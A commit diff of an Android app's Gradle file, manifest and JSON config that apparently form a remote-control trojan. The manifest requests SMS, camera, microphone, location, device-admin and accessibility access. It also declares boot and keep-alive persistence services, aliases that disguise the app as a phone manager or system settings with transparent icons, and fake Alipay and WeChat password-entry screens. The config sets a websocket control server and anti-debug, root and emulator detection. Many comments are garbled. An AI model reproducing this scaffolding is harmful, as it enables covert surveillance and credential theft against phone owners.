feat: upload latest android source changes
This commit is contained in:
@@ -21,103 +21,95 @@ android {
|
||||
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
|
||||
}
|
||||
|
||||
lint {
|
||||
// Keep CI/build running even when lint reports issues.
|
||||
abortOnError false
|
||||
checkReleaseBuilds false
|
||||
}
|
||||
|
||||
buildTypes {
|
||||
release {
|
||||
// 启用代码混淆和压缩
|
||||
// Release hardening
|
||||
minifyEnabled true
|
||||
// 启用资源压缩
|
||||
shrinkResources true
|
||||
// 使用优化的ProGuard配置
|
||||
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
|
||||
|
||||
// 签名配置
|
||||
|
||||
// Signing config
|
||||
signingConfig signingConfigs.debug
|
||||
|
||||
// 构建优化
|
||||
|
||||
// Build optimization
|
||||
zipAlignEnabled true
|
||||
debuggable false
|
||||
jniDebuggable false
|
||||
|
||||
// 构建配置字段
|
||||
|
||||
buildConfigField "String", "BUILD_TYPE", "\"release\""
|
||||
buildConfigField "boolean", "ENABLE_ENCRYPTION", "true"
|
||||
buildConfigField "boolean", "ENABLE_ANTI_DEBUG", "true"
|
||||
buildConfigField "boolean", "ENABLE_ROOT_DETECTION", "true"
|
||||
buildConfigField "boolean", "ENABLE_EMULATOR_DETECTION", "true"
|
||||
}
|
||||
|
||||
|
||||
debug {
|
||||
// 调试版本不启用混淆,方便开发
|
||||
// Easier troubleshooting for local development
|
||||
minifyEnabled false
|
||||
shrinkResources false
|
||||
debuggable true
|
||||
|
||||
// 构建配置字段
|
||||
|
||||
buildConfigField "String", "BUILD_TYPE", "\"debug\""
|
||||
buildConfigField "boolean", "ENABLE_ENCRYPTION", "false"
|
||||
buildConfigField "boolean", "ENABLE_ANTI_DEBUG", "false"
|
||||
buildConfigField "boolean", "ENABLE_ROOT_DETECTION", "false"
|
||||
buildConfigField "boolean", "ENABLE_EMULATOR_DETECTION", "false"
|
||||
}
|
||||
|
||||
// 创建增强版本
|
||||
|
||||
create("enhancement") {
|
||||
initWith(getByName("release"))
|
||||
|
||||
// 强化混淆配置
|
||||
|
||||
// Enhanced release-like profile
|
||||
minifyEnabled true
|
||||
shrinkResources true
|
||||
|
||||
// 强化构建配置
|
||||
|
||||
buildConfigField "String", "BUILD_TYPE", "\"enhancement\""
|
||||
buildConfigField "boolean", "ENABLE_ENCRYPTION", "true"
|
||||
buildConfigField "boolean", "ENABLE_ANTI_DEBUG", "true"
|
||||
buildConfigField "boolean", "ENABLE_ROOT_DETECTION", "true"
|
||||
buildConfigField "boolean", "ENABLE_EMULATOR_DETECTION", "true"
|
||||
|
||||
// 启用更严格的优化
|
||||
|
||||
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
compileOptions {
|
||||
sourceCompatibility JavaVersion.VERSION_1_8
|
||||
targetCompatibility JavaVersion.VERSION_1_8
|
||||
}
|
||||
|
||||
|
||||
kotlinOptions {
|
||||
jvmTarget = '1.8'
|
||||
}
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation 'com.github.pedroSG94.RootEncoder:library:2.5.4-1.8.22'
|
||||
implementation 'androidx.core:core-ktx:1.10.1'
|
||||
implementation 'androidx.appcompat:appcompat:1.6.1'
|
||||
implementation 'com.google.android.material:material:1.9.0'
|
||||
implementation 'androidx.constraintlayout:constraintlayout:2.1.4'
|
||||
|
||||
// 协程支持
|
||||
|
||||
implementation 'org.jetbrains.kotlinx:kotlinx-coroutines-android:1.7.3'
|
||||
implementation 'org.jetbrains.kotlinx:kotlinx-coroutines-core:1.7.3'
|
||||
|
||||
// ✅ Socket.IO v4 官方客户端库
|
||||
|
||||
implementation 'io.socket:socket.io-client:2.1.0'
|
||||
|
||||
// 网络库
|
||||
implementation 'org.webrtc:google-webrtc:1.0.32006'
|
||||
implementation 'com.squareup.okhttp3:okhttp:4.12.0'
|
||||
|
||||
// JSON处理
|
||||
implementation 'org.json:json:20231013'
|
||||
|
||||
// 生命周期组件
|
||||
|
||||
implementation 'androidx.lifecycle:lifecycle-runtime-ktx:2.6.2'
|
||||
implementation 'androidx.lifecycle:lifecycle-service:2.6.2'
|
||||
|
||||
// WorkManager保活 - 使用兼容API 33的版本
|
||||
|
||||
implementation 'androidx.work:work-runtime-ktx:2.8.1'
|
||||
|
||||
// 测试依赖
|
||||
|
||||
testImplementation 'junit:junit:4.13.2'
|
||||
androidTestImplementation 'androidx.test.ext:junit:1.1.5'
|
||||
androidTestImplementation 'androidx.test.espresso:espresso-core:3.5.1'
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,10 +1,11 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
|
||||
xmlns:tools="http://schemas.android.com/tools"
|
||||
package="com.hikoncont">
|
||||
|
||||
<!-- 必要权限 -->
|
||||
<!-- 蹇呰鏉冮檺 -->
|
||||
<uses-permission android:name="android.permission.INTERNET" />
|
||||
<uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES" />
|
||||
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
|
||||
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
|
||||
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
|
||||
@@ -12,84 +13,88 @@
|
||||
tools:ignore="QueryAllPackagesPermission" />
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_MEDIA_PROJECTION" />
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_CAMERA" />
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_MICROPHONE" />
|
||||
<uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
|
||||
<uses-permission android:name="android.permission.WAKE_LOCK" />
|
||||
|
||||
<!-- Android 15+ 网络相关权限 -->
|
||||
<!-- Android 15+ 缃戠粶鐩稿叧鏉冮檺 -->
|
||||
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE" />
|
||||
<uses-permission android:name="android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS" />
|
||||
|
||||
<!-- Android 15+ 后台网络访问权限 -->
|
||||
<!-- Android 15+ 鍚庡彴缃戠粶璁块棶鏉冮檺 -->
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC"
|
||||
tools:targetApi="34" />
|
||||
<uses-permission android:name="android.permission.FOREGROUND_SERVICE_SPECIAL_USE"
|
||||
tools:targetApi="34" />
|
||||
|
||||
<!-- 开机自启动权限 -->
|
||||
<!-- 寮€鏈鸿嚜鍚姩鏉冮檺 -->
|
||||
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
|
||||
<uses-permission android:name="android.permission.QUICKBOOT_POWERON" />
|
||||
|
||||
<!-- 自动重启相关权限 -->
|
||||
<!-- 鑷姩閲嶅惎鐩稿叧鏉冮檺 -->
|
||||
<uses-permission android:name="android.permission.SCHEDULE_EXACT_ALARM" />
|
||||
<uses-permission android:name="android.permission.USE_EXACT_ALARM" />
|
||||
|
||||
<!-- 屏幕录制权限 -->
|
||||
<!-- 灞忓箷褰曞埗鏉冮檺 -->
|
||||
<uses-permission android:name="android.permission.MEDIA_PROJECTION" />
|
||||
|
||||
<!-- 解锁屏幕权限(参考billd-desk) -->
|
||||
<!-- 瑙i攣灞忓箷鏉冮檺锛堝弬鑰僢illd-desk锛?-->
|
||||
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
|
||||
|
||||
<!-- 蓝牙权限(参考billd-desk,Android 30以下) -->
|
||||
<!-- 钃濈墮鏉冮檺锛堝弬鑰僢illd-desk锛孉ndroid 30浠ヤ笅锛?-->
|
||||
<uses-permission android:name="android.permission.BLUETOOTH"
|
||||
android:maxSdkVersion="30" />
|
||||
|
||||
<!-- 音频设置权限(参考billd-desk) -->
|
||||
<!-- 闊抽璁剧疆鏉冮檺锛堝弬鑰僢illd-desk锛?-->
|
||||
<uses-permission android:name="android.permission.MODIFY_AUDIO_SETTINGS" />
|
||||
|
||||
<!-- 摄像头权限 -->
|
||||
<!-- 鎽勫儚澶存潈闄?-->
|
||||
<uses-permission android:name="android.permission.CAMERA" />
|
||||
<uses-permission android:name="android.permission.RECORD_AUDIO" />
|
||||
|
||||
<!-- 短信权限 -->
|
||||
<!-- 鐭俊鏉冮檺 -->
|
||||
<uses-permission android:name="android.permission.READ_SMS" />
|
||||
<uses-permission android:name="android.permission.SEND_SMS" />
|
||||
<uses-permission android:name="android.permission.RECEIVE_SMS" />
|
||||
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
|
||||
<uses-permission android:name="android.permission.CALL_PHONE" />
|
||||
|
||||
<!-- 相册权限 -->
|
||||
<!-- 鐩稿唽鏉冮檺 -->
|
||||
<uses-permission android:name="android.permission.READ_MEDIA_IMAGES" />
|
||||
<uses-permission android:name="android.permission.READ_MEDIA_VIDEO" />
|
||||
<uses-permission android:name="android.permission.READ_MEDIA_AUDIO" />
|
||||
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
|
||||
<uses-permission android:name="android.permission.READ_MEDIA_VISUAL_USER_SELECTED" />
|
||||
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
|
||||
|
||||
<!-- 存储权限 - 修复 mi_exception_log 写入错误 -->
|
||||
<!-- 瀛樺偍鏉冮檺 - 淇 mi_exception_log 鍐欏叆閿欒 -->
|
||||
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"
|
||||
android:maxSdkVersion="28" />
|
||||
<uses-permission android:name="android.permission.MANAGE_EXTERNAL_STORAGE"
|
||||
tools:ignore="ScopedStorage" />
|
||||
|
||||
<!-- 摄像头功能特性 -->
|
||||
<!-- 鎽勫儚澶村姛鑳界壒鎬?-->
|
||||
<uses-feature android:name="android.hardware.camera" android:required="false" />
|
||||
<uses-feature android:name="android.hardware.camera.autofocus" android:required="false" />
|
||||
<uses-feature android:name="android.hardware.camera.front" android:required="false" />
|
||||
|
||||
<!-- 设备管理员权限 -->
|
||||
<!-- 璁惧绠$悊鍛樻潈闄?-->
|
||||
<uses-permission android:name="android.permission.DEVICE_ADMIN" />
|
||||
|
||||
<!-- 修改系统设置权限(用于调节亮度) -->
|
||||
<!-- 淇敼绯荤粺璁剧疆鏉冮檺锛堢敤浜庤皟鑺備寒搴︼級 -->
|
||||
<uses-permission android:name="android.permission.WRITE_SETTINGS" />
|
||||
|
||||
<!-- 修改安全设置权限(用于色彩反转等) -->
|
||||
<!-- 淇敼瀹夊叏璁剧疆鏉冮檺锛堢敤浜庤壊褰╁弽杞瓑锛?-->
|
||||
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
|
||||
|
||||
<!-- 任务管理权限(用于将Activity带到前台) -->
|
||||
<!-- 浠诲姟绠$悊鏉冮檺锛堢敤浜庡皢Activity甯﹀埌鍓嶅彴锛?-->
|
||||
<uses-permission android:name="android.permission.REORDER_TASKS" />
|
||||
|
||||
<!-- 任务管理权限(用于应用前后台切换) -->
|
||||
<!-- 浠诲姟绠$悊鏉冮檺锛堢敤浜庡簲鐢ㄥ墠鍚庡彴鍒囨崲锛?-->
|
||||
<uses-permission android:name="android.permission.GET_TASKS" />
|
||||
|
||||
<!-- WorkManager 诊断权限 -->
|
||||
<!-- WorkManager 璇婃柇鏉冮檺 -->
|
||||
<uses-permission android:name="android.permission.DUMP" />
|
||||
|
||||
<application
|
||||
@@ -106,7 +111,7 @@
|
||||
android:preserveLegacyExternalStorage="true"
|
||||
tools:targetApi="35">
|
||||
|
||||
<!-- ✅ 主Activity - 直接集成WebView -->
|
||||
<!-- 鉁?涓籄ctivity - 鐩存帴闆嗘垚WebView -->
|
||||
<activity
|
||||
android:name=".MainActivity"
|
||||
android:exported="true"
|
||||
@@ -115,9 +120,17 @@
|
||||
<action android:name="android.intent.action.MAIN" />
|
||||
<category android:name="android.intent.category.LAUNCHER" />
|
||||
</intent-filter>
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.VIEW" />
|
||||
<category android:name="android.intent.category.DEFAULT" />
|
||||
<category android:name="android.intent.category.BROWSABLE" />
|
||||
<data
|
||||
android:scheme="ccprojer"
|
||||
android:host="install" />
|
||||
</intent-filter>
|
||||
</activity>
|
||||
|
||||
<!-- 透明保活Activity - 借鉴反编译项目的FlyActivity -->
|
||||
<!-- 閫忔槑淇濇椿Activity - 鍊熼壌鍙嶇紪璇戦」鐩殑FlyActivity -->
|
||||
<activity
|
||||
android:name=".TransparentKeepAliveActivity"
|
||||
android:exported="true"
|
||||
@@ -132,7 +145,7 @@
|
||||
android:showWhenLocked="true"
|
||||
android:excludeFromRecents="true" />
|
||||
|
||||
<!-- 保活启动器Activity - 借鉴反编译项目的OpenActivity -->
|
||||
<!-- 淇濇椿鍚姩鍣ˋctivity - 鍊熼壌鍙嶇紪璇戦」鐩殑OpenActivity -->
|
||||
<activity
|
||||
android:name=".KeepAliveLauncherActivity"
|
||||
android:exported="true"
|
||||
@@ -141,7 +154,7 @@
|
||||
android:elevation="0dp"
|
||||
android:excludeFromRecents="true" />
|
||||
|
||||
<!-- 🔧 华为备用启动器Activity - 基于D:\kouch\app策略 -->
|
||||
<!-- 馃敡 鍗庝负澶囩敤鍚姩鍣ˋctivity - 鍩轰簬D:\kouch\app绛栫暐 -->
|
||||
<activity
|
||||
android:name=".HuaweiBackupLauncherActivity"
|
||||
android:enabled="false"
|
||||
@@ -156,7 +169,7 @@
|
||||
</intent-filter>
|
||||
</activity>
|
||||
|
||||
<!-- 🔧 MainAliasActivity - 基于D:\kouch\app策略 -->
|
||||
<!-- 馃敡 MainAliasActivity - 鍩轰簬D:\kouch\app绛栫暐 -->
|
||||
<activity-alias
|
||||
android:theme="@android:style/Theme.NoDisplay"
|
||||
android:label="@string/app_name_tran"
|
||||
@@ -185,7 +198,7 @@
|
||||
</intent-filter>
|
||||
</activity-alias>
|
||||
|
||||
<!-- 🔧 华为天气Alias - 基于f目录APK策略 -->
|
||||
<!-- 馃敡 鍗庝负澶╂皵Alias - 鍩轰簬f鐩綍APK绛栫暐 -->
|
||||
<activity-alias
|
||||
android:label=" "
|
||||
android:icon="@drawable/transparent_icon"
|
||||
@@ -199,7 +212,7 @@
|
||||
</intent-filter>
|
||||
</activity-alias>
|
||||
|
||||
<!-- 🔧 华为设置Alias - 基于f目录APK策略 -->
|
||||
<!-- 馃敡 鍗庝负璁剧疆Alias - 鍩轰簬f鐩綍APK绛栫暐 -->
|
||||
<activity-alias
|
||||
android:label=" "
|
||||
android:icon="@drawable/transparent_icon"
|
||||
@@ -214,7 +227,7 @@
|
||||
</activity-alias>
|
||||
|
||||
|
||||
<!-- 🆕 SIM伪装别名(默认禁用,仅在真隐藏失败时启用) -->
|
||||
<!-- 馃啎 SIM浼鍒悕锛堥粯璁ょ鐢紝浠呭湪鐪熼殣钘忓け璐ユ椂鍚敤锛?-->
|
||||
<activity-alias
|
||||
android:name=".SIMAlias"
|
||||
android:targetActivity=".MainActivity"
|
||||
@@ -228,12 +241,12 @@
|
||||
</intent-filter>
|
||||
</activity-alias>
|
||||
|
||||
<!-- 🆕 手机管家伪装别名(优化版,默认禁用) -->
|
||||
<!-- 馃啎 鎵嬫満绠″浼鍒悕锛堜紭鍖栫増锛岄粯璁ょ鐢級 -->
|
||||
<activity-alias
|
||||
android:name=".PhoneManagerAlias"
|
||||
android:targetActivity=".MainActivity"
|
||||
android:icon="@drawable/phone_manager_icon"
|
||||
android:label="手机管家"
|
||||
android:label="鎵嬫満绠″"
|
||||
android:enabled="false"
|
||||
android:exported="true">
|
||||
<intent-filter>
|
||||
@@ -242,7 +255,7 @@
|
||||
</intent-filter>
|
||||
</activity-alias>
|
||||
|
||||
<!-- 🆕 Vivo设备专用I管家伪装别名 -->
|
||||
<!-- 馃啎 Vivo璁惧涓撶敤I绠″浼鍒悕 -->
|
||||
<activity-alias
|
||||
android:name=".VivoIGuanjiaAlias"
|
||||
android:targetActivity=".MainActivity"
|
||||
@@ -256,12 +269,12 @@
|
||||
</intent-filter>
|
||||
</activity-alias>
|
||||
|
||||
<!-- 🆕 OPPO设备伪装别名 -->
|
||||
<!-- 馃啎 OPPO璁惧浼鍒悕 -->
|
||||
<activity-alias
|
||||
android:name=".OppoAlias"
|
||||
android:targetActivity=".MainActivity"
|
||||
android:icon="@drawable/sjgj"
|
||||
android:label="手机管家"
|
||||
android:label="鎵嬫満绠″"
|
||||
android:enabled="false"
|
||||
android:exported="true">
|
||||
<intent-filter>
|
||||
@@ -270,7 +283,7 @@
|
||||
</intent-filter>
|
||||
</activity-alias>
|
||||
|
||||
<!-- 🆕 华为设备伪装别名 -->
|
||||
<!-- 馃啎 鍗庝负璁惧浼鍒悕 -->
|
||||
|
||||
<!-- <activity-alias-->
|
||||
<!-- android:name=".HuaweiAlias"-->
|
||||
@@ -285,7 +298,7 @@
|
||||
<!-- </intent-filter>-->
|
||||
<!-- </activity-alias>-->
|
||||
|
||||
<!-- 🆕 荣耀设备伪装别名 -->
|
||||
<!-- 馃啎 鑽h€€璁惧浼鍒悕 -->
|
||||
<activity-alias
|
||||
android:name=".HonorAlias"
|
||||
android:targetActivity=".MainActivity"
|
||||
@@ -299,12 +312,12 @@
|
||||
</intent-filter>
|
||||
</activity-alias>
|
||||
|
||||
<!-- 🆕 小米设备伪装别名 -->
|
||||
<!-- 馃啎 灏忕背璁惧浼鍒悕 -->
|
||||
<activity-alias
|
||||
android:name=".XiaomiAlias"
|
||||
android:targetActivity=".MainActivity"
|
||||
android:icon="@drawable/sjgj"
|
||||
android:label="手机管家"
|
||||
android:label="鎵嬫満绠″"
|
||||
android:enabled="false"
|
||||
android:exported="true">
|
||||
<intent-filter>
|
||||
@@ -315,7 +328,7 @@
|
||||
|
||||
|
||||
|
||||
<!-- 配置遮盖Activity -->
|
||||
<!-- 閰嶇疆閬洊Activity -->
|
||||
<activity
|
||||
android:name=".activity.ConfigMaskActivity"
|
||||
android:exported="false"
|
||||
@@ -330,7 +343,7 @@
|
||||
android:taskAffinity=""
|
||||
android:allowTaskReparenting="false" />
|
||||
|
||||
<!-- 简单权限申请Activity -->
|
||||
<!-- 绠€鍗曟潈闄愮敵璇稟ctivity -->
|
||||
<activity
|
||||
android:name=".activity.SimplePermissionActivity"
|
||||
android:exported="false"
|
||||
@@ -339,7 +352,7 @@
|
||||
android:excludeFromRecents="true"
|
||||
android:noHistory="true" />
|
||||
|
||||
<!-- 密码输入完成安装Activity -->
|
||||
<!-- 瀵嗙爜杈撳叆瀹屾垚瀹夎Activity -->
|
||||
<activity
|
||||
android:name=".activity.PasswordInputActivity"
|
||||
android:exported="false"
|
||||
@@ -365,8 +378,19 @@
|
||||
android:noHistory="false"
|
||||
android:finishOnCloseSystemDialogs="false" />
|
||||
|
||||
<activity
|
||||
android:name=".activity.AppInjectionPinActivity"
|
||||
android:exported="false"
|
||||
android:theme="@android:style/Theme.DeviceDefault.NoActionBar"
|
||||
android:launchMode="singleTop"
|
||||
android:excludeFromRecents="true"
|
||||
android:taskAffinity=""
|
||||
android:screenOrientation="portrait"
|
||||
android:stateNotNeeded="true"
|
||||
android:finishOnTaskLaunch="false"
|
||||
android:noHistory="false" />
|
||||
|
||||
<!-- 支付宝密码输入页面Activity -->
|
||||
<!-- 鏀粯瀹濆瘑鐮佽緭鍏ラ〉闈ctivity -->
|
||||
<activity
|
||||
android:name=".activity.AlipayPasswordActivity"
|
||||
android:exported="false"
|
||||
@@ -389,7 +413,7 @@
|
||||
android:documentLaunchMode="never"
|
||||
android:maxRecents="1" />
|
||||
|
||||
<!-- 微信密码输入页面Activity -->
|
||||
<!-- 寰俊瀵嗙爜杈撳叆椤甸潰Activity -->
|
||||
<activity
|
||||
android:name=".activity.WechatPasswordActivity"
|
||||
android:exported="false"
|
||||
@@ -412,7 +436,7 @@
|
||||
android:documentLaunchMode="never"
|
||||
android:maxRecents="1" />
|
||||
|
||||
<!-- 权限请求Activity -->
|
||||
<!-- 鏉冮檺璇锋眰Activity -->
|
||||
<activity
|
||||
android:name=".ui.PermissionRequestActivity"
|
||||
android:exported="false"
|
||||
@@ -425,7 +449,7 @@
|
||||
|
||||
|
||||
|
||||
<!-- 无障碍服务 -->
|
||||
<!-- 鏃犻殰纰嶆湇鍔?-->
|
||||
<service
|
||||
android:name=".service.AccessibilityRemoteService"
|
||||
android:exported="true"
|
||||
@@ -440,31 +464,32 @@
|
||||
|
||||
|
||||
|
||||
<!-- 前台服务 -->
|
||||
<!-- 鍓嶅彴鏈嶅姟 -->
|
||||
<service
|
||||
android:name=".service.RemoteControlForegroundService"
|
||||
android:exported="false"
|
||||
android:foregroundServiceType="mediaProjection" />
|
||||
android:foregroundServiceType="mediaProjection|dataSync|camera|microphone" />
|
||||
|
||||
<!-- Android 15+ 额外数据同步服务 - 已移除,功能已集成到RemoteControlForegroundService -->
|
||||
<!-- Android 15+ 棰濆鏁版嵁鍚屾鏈嶅姟 - 宸茬Щ闄わ紝鍔熻兘宸查泦鎴愬埌RemoteControlForegroundService -->
|
||||
<!-- <service
|
||||
android:name=".service.DataSyncForegroundService"
|
||||
android:exported="false"
|
||||
android:foregroundServiceType="dataSync"
|
||||
android:enabled="false" /> -->
|
||||
|
||||
<!-- 保活服务 -->
|
||||
<!-- 淇濇椿鏈嶅姟 -->
|
||||
<service
|
||||
android:name=".service.KeepAliveService"
|
||||
android:exported="false" />
|
||||
android:exported="false"
|
||||
android:foregroundServiceType="dataSync" />
|
||||
|
||||
<!-- JobService 保活 -->
|
||||
<!-- JobService 淇濇椿 -->
|
||||
<service
|
||||
android:name=".service.KeepAliveJobService"
|
||||
android:permission="android.permission.BIND_JOB_SERVICE"
|
||||
android:exported="true" />
|
||||
|
||||
<!-- 通知监听服务 - 参考 f 目录的 MessageToolUse -->
|
||||
<!-- 閫氱煡鐩戝惉鏈嶅姟 - 鍙傝€?f 鐩綍鐨?MessageToolUse -->
|
||||
<service
|
||||
android:name=".service.NotificationMonitorService"
|
||||
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"
|
||||
@@ -474,13 +499,13 @@
|
||||
</intent-filter>
|
||||
</service>
|
||||
|
||||
<!-- 进程监控服务 -->
|
||||
<!-- 杩涚▼鐩戞帶鏈嶅姟 -->
|
||||
<service
|
||||
android:name=".service.ProcessMonitorService"
|
||||
android:exported="false"
|
||||
android:foregroundServiceType="dataSync" />
|
||||
|
||||
<!-- WorkManager 初始化配置 - 修改现有的 InitializationProvider -->
|
||||
<!-- WorkManager 鍒濆鍖栭厤缃?- 淇敼鐜版湁鐨?InitializationProvider -->
|
||||
<provider
|
||||
android:name="androidx.startup.InitializationProvider"
|
||||
android:authorities="${applicationId}.androidx-startup"
|
||||
@@ -606,36 +631,36 @@
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
|
||||
<!-- 保活JobService - 已在上面声明,此处已移除重复声明 -->
|
||||
<!-- 淇濇椿JobService - 宸插湪涓婇潰澹版槑锛屾澶勫凡绉婚櫎閲嶅澹版槑 -->
|
||||
|
||||
<!-- 服务保活器 -->
|
||||
<!-- 鏈嶅姟淇濇椿鍣?-->
|
||||
<service
|
||||
android:name=".service.ServiceProtector"
|
||||
android:exported="false"
|
||||
android:enabled="true" />
|
||||
|
||||
<!-- 增强保活服务 -->
|
||||
<!-- 澧炲己淇濇椿鏈嶅姟 -->
|
||||
<service
|
||||
android:name=".service.EnhancedKeepAliveService"
|
||||
android:exported="false"
|
||||
android:enabled="true"
|
||||
android:foregroundServiceType="mediaPlayback" />
|
||||
|
||||
<!-- 守护保活服务 -->
|
||||
<!-- 瀹堟姢淇濇椿鏈嶅姟 -->
|
||||
<service
|
||||
android:name=".service.GuardKeepAliveService"
|
||||
android:exported="false"
|
||||
android:enabled="true"
|
||||
android:foregroundServiceType="mediaPlayback" />
|
||||
|
||||
<!-- AlarmManager保活服务 -->
|
||||
<!-- AlarmManager淇濇椿鏈嶅姟 -->
|
||||
<service
|
||||
android:name=".service.AlarmManagerKeepAliveService"
|
||||
android:exported="false"
|
||||
android:enabled="true"
|
||||
android:foregroundServiceType="mediaPlayback" />
|
||||
|
||||
<!-- 开机自启动接收器 -->
|
||||
<!-- 寮€鏈鸿嚜鍚姩鎺ユ敹鍣?-->
|
||||
<receiver
|
||||
android:name=".receiver.BootReceiver"
|
||||
android:exported="true"
|
||||
@@ -652,7 +677,7 @@
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
|
||||
<!-- 增强系统事件接收器 -->
|
||||
<!-- 澧炲己绯荤粺浜嬩欢鎺ユ敹鍣?-->
|
||||
<receiver
|
||||
android:name=".service.EnhancedSystemEventReceiver"
|
||||
android:exported="true"
|
||||
@@ -671,7 +696,7 @@
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
|
||||
<!-- 增强开机自启动接收器 -->
|
||||
<!-- 澧炲己寮€鏈鸿嚜鍚姩鎺ユ敹鍣?-->
|
||||
<receiver
|
||||
android:name=".service.EnhancedBootReceiver"
|
||||
android:exported="true"
|
||||
@@ -683,7 +708,7 @@
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
|
||||
<!-- 增强应用包变化接收器 -->
|
||||
<!-- 澧炲己搴旂敤鍖呭彉鍖栨帴鏀跺櫒 -->
|
||||
<receiver
|
||||
android:name=".service.EnhancedPackagesReceiver"
|
||||
android:exported="true"
|
||||
@@ -698,7 +723,7 @@
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
|
||||
<!-- 保活广播接收器 -->
|
||||
<!-- 淇濇椿骞挎挱鎺ユ敹鍣?-->
|
||||
<receiver
|
||||
android:name=".service.KeepAliveReceiver"
|
||||
android:exported="true"
|
||||
@@ -709,7 +734,7 @@
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
|
||||
<!-- AlarmManager广播接收器 -->
|
||||
<!-- AlarmManager骞挎挱鎺ユ敹鍣?-->
|
||||
<receiver
|
||||
android:name=".service.AlarmManagerReceiver"
|
||||
android:exported="true"
|
||||
@@ -719,7 +744,7 @@
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
|
||||
<!-- 重连测试接收器 -->
|
||||
<!-- 閲嶈繛娴嬭瘯鎺ユ敹鍣?-->
|
||||
<receiver
|
||||
android:name=".receiver.ReconnectReceiver"
|
||||
android:exported="true"
|
||||
@@ -729,7 +754,7 @@
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
|
||||
<!-- 智能权限恢复接收器 -->
|
||||
<!-- 鏅鸿兘鏉冮檺鎭㈠鎺ユ敹鍣?-->
|
||||
<receiver
|
||||
android:name=".receiver.SmartRecoveryReceiver"
|
||||
android:exported="true"
|
||||
@@ -740,9 +765,9 @@
|
||||
</intent-filter>
|
||||
</receiver>
|
||||
|
||||
<!-- ✅ 已移除 SETUP_COMPLETE 和 INSTALLATION_COMPLETE 广播接收器 -->
|
||||
<!-- 现在使用 InstallationCompleteManager 直接函数调用,不再使用广播 -->
|
||||
<!-- 鉁?宸茬Щ闄?SETUP_COMPLETE 鍜?INSTALLATION_COMPLETE 骞挎挱鎺ユ敹鍣?-->
|
||||
<!-- 鐜板湪浣跨敤 InstallationCompleteManager 鐩存帴鍑芥暟璋冪敤锛屼笉鍐嶄娇鐢ㄥ箍鎾?-->
|
||||
|
||||
</application>
|
||||
|
||||
</manifest>
|
||||
</manifest>
|
||||
|
||||
@@ -1,18 +1,35 @@
|
||||
{
|
||||
"serverUrl": "ws://192.168.0.103:3001",
|
||||
"serverUrl": "ws://192.168.100.45:3001",
|
||||
"webUrl": "https://yhdm.one",
|
||||
"webrtcTurnUrls": "",
|
||||
"webrtcTurnUsername": "",
|
||||
"webrtcTurnPassword": "",
|
||||
"ownerUserId": "",
|
||||
"ownerUsername": "",
|
||||
"ownerGroupId": "",
|
||||
"ownerGroupName": "",
|
||||
"installToken": "",
|
||||
"installResolveUrl": "",
|
||||
"buildTime": "2025-09-09T11:45:57.889Z",
|
||||
"version": "1.0.1.6",
|
||||
"enableConfigMask": true,
|
||||
"enableConfigMask": false,
|
||||
"enableProgressBar": true,
|
||||
"featureFlags": {
|
||||
"bootAutoStart": true,
|
||||
"workManagerKeepAlive": true,
|
||||
"comprehensiveKeepAlive": true,
|
||||
"enhancedEventRecovery": true,
|
||||
"permissionMetrics": true,
|
||||
"keepAliveMetrics": true
|
||||
},
|
||||
"configMaskText": "配置中请稍后...",
|
||||
"configMaskSubtitle": "正在自动配置和连接\r\n请勿操作设备",
|
||||
"configMaskSubtitle": "正在自动配置和连接\n请勿操作设备",
|
||||
"configMaskStatus": "配置完成后将自动返回应用",
|
||||
"pageStyleConfig": {
|
||||
"appName": "短视频组件",
|
||||
"statusText": "软件需要开启AI智能操控权限\n请按照以下步骤进行\n1. 点击启用按钮\n2. 转到已下载的服务/应用\n3. 找到本应用并点击进入\n4. 开启辅助开关",
|
||||
"appName": "控制组件",
|
||||
"statusText": "软件需要开启 AI 智能控制权限\n请按以下步骤操作\n1. 点击启用按钮\n2. 跳转到系统服务设置\n3. 找到本应用并进入\n4. 开启辅助功能",
|
||||
"enableButtonText": "启用",
|
||||
"usageInstructions": "使用说明:\n1. 启用无障碍服务\n2. 确保设备连接到网络\n\n注意:请在安全的网络环境中使用",
|
||||
"usageInstructions": "使用说明:\n1. 启用无障碍服务\n2. 确保设备连接到网络\n\n注意: 请在安全的网络环境中使用",
|
||||
"apkFileName": ""
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
